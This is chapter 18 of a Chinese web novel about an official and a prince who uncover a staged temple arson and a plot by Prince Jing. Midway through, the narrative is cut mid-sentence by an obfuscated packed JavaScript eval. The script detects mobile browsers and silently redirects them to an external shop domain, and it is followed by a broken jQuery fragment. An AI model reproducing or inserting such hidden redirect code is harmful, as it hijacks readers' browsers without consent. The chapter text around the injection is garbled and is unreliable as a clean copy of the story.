18. 第 18 章
    纵火之人是寺内的僧人,法号修善。准确来说不是找到了,是失踪了。

    和修善住同一间禅房的僧人道:“今早我和修善去城内采买。往日都是一起,今日不知怎的他忽然说分开采买。我买完之后去汇合的地方等他,等了一个时辰都没见人。”

    温言川听完,问旁边的御林军:“可有搜到什么有用的东西?”

    御林军递上一块腰牌,温言川接过来,腰牌正面刻着“靖”字。顿了顿:“在哪搜到的?”

    御林军:“枕头底下。”

    “第一次没搜出来?”

    御林军摇了摇头:“是卑职失职,请温大人责罚!”

    “不关你们的事。”温言川收好腰牌,淡淡道,“这是他故意留下的。”

    以僧人的身份躲过御林军检查,再借着采买的由头光明正大离开。行事这般缜密,怎么可能遗落如此重要的腰牌?

    除非刻意为之。

    这是靖王的腰牌。纵火之人故意留下是为了什么?栽赃嫁祸?如此“此地无银三百两”的伎俩三岁稚童都不屑用。

    温言川正蹙眉思考,头顶落下一道熟悉的声音:“此人来寺里多久了?”

    僧人看了眼一身侍卫装的萧彻,如实道:“五年前就来了,比我还早一年。”

    温言川灵光乍现:“寺里可有密道、密室之类的地方?”

    萧彻已经张开缝隙的嘴又合上,无声勾了勾唇。

    僧人摇头:“没有。”

    “比较隐蔽,可以藏人的地方也没有?”

    经温言川这么一提醒,僧人脸上露出恍然大悟的神色:“有一个菜窖,菜放进去不容易坏。”

    温言川:“劳驾带路。”

    到了菜窖口,僧人打开盖子,踩着木梯下去。

    萧彻趁人不注意挪到温言川身后,压低声音:“子昭真聪明。”

    温言川:“是王爷提醒的好。”

    为了放一块腰牌在寺里待五年,怎么可能呢。

    “修善,醒醒!修善……修善!”地窖里传出闷闷的呼喊。

    温言川心里一沉,本能往窖口凑了凑,探着身体往下看,急切问:“怎么样了?”

    过了一会,声音再次传上来:“没事了,已经醒了。等他缓缓我们就上去。”

    温言川如释重负地吐出口气,一低头,发现萧彻正抓着他的衣服防止掉下去。怕萧彻察觉,温言川看了眼便匆匆移开目光,装作什么也没发生。

    唇角轻轻翘起了弧度。

    等了有半刻钟,僧人和修善一前一后从菜窖上来。

    “前天晚上我去外面起夜,有人从身后将我迷晕了。”修善挠着光秃秃的后脑勺,表情懵懵的,“等我再醒来就是现在了。”

    旁边的僧人明显被这话吓得不轻:“那……那昨晚上睡我旁边的人是谁啊?而且你俩长一样啊!”

    “易容术。”萧彻不慌不忙道,“行走江湖最简单的伎俩。”

    如此一来,一切便都解释得通了。

    纵火之人提前混入寺中,迷晕修善并易容成他的样子,放完火后逃之夭夭。临走前还不忘遗漏掉靖王的腰牌。

    天衣无缝,然后破了个最关键的大窟窿。

    温言川让两人回去休息,而后对御林军道:“此事尚未查清,待查清后我会亲自禀明皇上。辛苦各位继续去寺外守着。”

    为首的御林军向温言川行礼后带着人离开。

    回禅房的路上,温言川脑子里琢磨着放火的事,手不自觉把玩起腰牌来。

    萧彻瞧着温言川骨节分明的不停手把玩着靖王的腰牌,没由来一阵不悦,一把将腰牌抢了过来:“这东西我也有。”

    大燕封王分一字王和二字王两种。一字王为亲王,唯有皇室血脉可以加封。二字王为功勋王,贡献卓越者均可加封。

    靖王属于前者,西南王属于后者。

    温言川闻言来了兴趣:“王爷的腰牌刻的什么字?西南吗?”

    “恒。”

    温言川了然,默默记下。

    “子昭觉得这块腰牌作何解释?”萧彻将靖王的腰牌挂在食指上转着玩。

    温言川沉默半晌:“醉翁之意不在酒。”

    相比于上次计划缜密、功败垂成的刺杀,这次的刺杀简直是漏洞百出。为何会有如此大的差别?除了可能不是一个人派来的,更有可能的是,上次是真想杀太子,这次不是。

    藩王无召不得入京,否则视为谋反。想要入京就得有个由头。刺杀储君这种诛九族的大罪算不算由头?自然是算的不能再算了。

    所以才有了护国寺纵火。

    先派人假模假样放把火,故意留下能证明身份的腰牌。等皇上召他入京后再高喊一句冤枉。

    靖王敢走这步棋,必是早就做好了周密万全的计划。替罪羊恐怕已经洗干净脖子等着了。若皇上不听冤屈执意降罪,便会落下个冤杀手足的名声。

    靖王出此下策也要入京,一定有所图谋。

    温言川:“王爷觉得该不该让靖王得逞?”

    萧彻眼底掠过一丝阴暗:“我向来不喜欢别人称心如意。”

    温言川语气轻快:“那我便遂了王爷的意。”

    -

    之后几日,除了林子的鸟窝遭了殃,被萧彻里里外外掏了个遍外,一切都非常安稳。

    祈福结束第二日,太子殿下摆驾回宫,朝臣跟随。一行人浩浩荡荡离开护国寺。

    温言川已经决定将纵火一事按下不表,便没进宫面圣。回府之后睡了个午觉,正懵懵登登地坐在床上发呆,刘伯来敲门:“公子,宫里来人了。让您即刻进宫。”

    温言川眼神瞬间清明:“知道了。就来。”

    来到长明宫,在殿外候了半个时辰,孙公公才从里面出来:“皇上请温大人进去。”

    并非温言川自负,以往面圣他从未等过这么久。心里已经知道出了问题。

    进去后,温言川跪在地上行礼:“微臣参见皇上。”

    跪了有一会儿,龙榻上传来一句不辨喜怒的:“起来吧。”

    “谢皇上。”温言川站起身,不动声色。

    燕文帝倚在软枕上,气色较之前好了不少:“此次祈福可还顺利?”

    此话一出温言川便明白了,面色平静道:“回皇上,不是很顺利。太子殿下住的禅房失了火,是有人故意为之。只是微臣无能,让纵火之人跑了。”

    听到此话的燕文帝脸上没有丝毫惊讶之色,显然已经知晓了:“可有查出纵火之人的身份?”

    “纵火之人迷晕了寺内一名僧人,乔装成他的模样,借着采买的由头逃离了寺庙。”温言川从袖中拿出腰牌,双手呈上,“御林军在他住的地方搜到了靖王的腰牌。”

    孙公公拿过腰牌呈给皇上。

    燕文帝嶙峋的手抚过腰牌上的“靖”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285327|150517||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    字,不知是想到了什么,神色有些恍惚。良久才喃喃道:“朕是由静太妃养大的。”

    燕文帝四岁丧母,当时的静妃一直无所出,先帝便将其交由静妃抚养。五年后,静妃忽然有了身孕,次年生下了现在的靖王。

    在抚养后代上,几乎没有人可以做到一碗水端平。更何况一个亲生,一个后来。一个呱呱坠地,一个六岁稚子。

    年幼的燕文帝一边享受着静妃的庇护,一边品尝着静妃的偏心。天地似乎换了顺序。

    燕文帝十六岁那年,缠绵病榻半年之久的静妃在临终前牢牢抓着他的手,用尽最后一丝力气叮嘱:“远儿是我唯一的亲骨肉,看在我照料你这么多年的份上,一定、一定要保护好他。一定要助他登上皇位。”

    当年五子夺权,燕文帝没有赶尽杀绝,留下了靖王的性命。除了怕落下残害手足的名声,还有便是顾念了这层情分。

    燕文帝放下腰牌:“爱卿觉得此事该如何处理?”

    他已经瞒而不报,若现在再说此计为陷害,以皇上的性子定会觉得他在袒护靖王。

    看来靖王入京是拦不住了。

    “回皇上,微臣觉得先召靖王入京问清楚再处置不迟。”温言川折中道。

    燕文帝“嗯”了声:“即刻召靖王回京。”

    孙公公退出去传旨。

    “太子一回宫便过来请安,说爱卿待他极好。”燕文帝看向温言川,“赤子之心,爱卿莫要辜负。”

    温言川立即跪在地上:“微臣万死不辞。”

    心里不由叹了口气:皇上还是怀疑他了。到底是谁将此事捅到皇上跟前的?所图为何?

    说了这么一会话,燕文帝已经是累极了:“如此便好。爱卿退下吧。”

    “微臣告退。”

    从殿里出来,温言川迎面遇上了孙公公。

    孙公公借着行礼的机会,凑近了,压低声音:“户部的孟大人来给皇上请过安。”

    温言川颔首:“多谢公公。”

    回了府,温言川径直去了书房,坐在椅子上想事情。

    孙公公口中的孟大人是户部侍郎孟青。

    孟青此举要么是为了激起皇上对他的怀疑,要么是为了保证靖王的计划不被破坏。亦或二者兼有。

    最关键的是,孟青是庞景的人。他这么做会不会是庞景的授意?

    难道说靖王已经和朝中大臣搭上了线?

    思及此,温言川不由叹了口气。

    “唉声叹气做什么?小老头似的。”

    温言川循声抬头,见一身红衣的萧彻走了进来。此刻天色还未黑,窗外是霞光漫天之景。

    “王爷今日怎么来得如此早?”温言川惊讶道。

    “无聊了便来寻你。”萧彻一针见血,“靖王是不是要入京了?”

    温言川“嗯”了声,将今日宫内之事原原本本说了出来。

    萧彻听完嗤笑一声:“那老皇帝当不起子昭如此忠心待他。”

    温言川没吭声,拿起墨条要研墨。眉宇间是掩藏不住的低落。

    所谓伴君如伴虎,当真所言非虚。

    “今日不练字。”萧彻抽走墨条放到一旁,兴致勃勃,“出去玩。”

    温言川顿了顿,随即明白了萧彻为何今日来这么早:“王爷是特意来告假的?”

    “不是。”

    萧彻抱着肩,轻挑眉梢:“是特意来找你玩的。”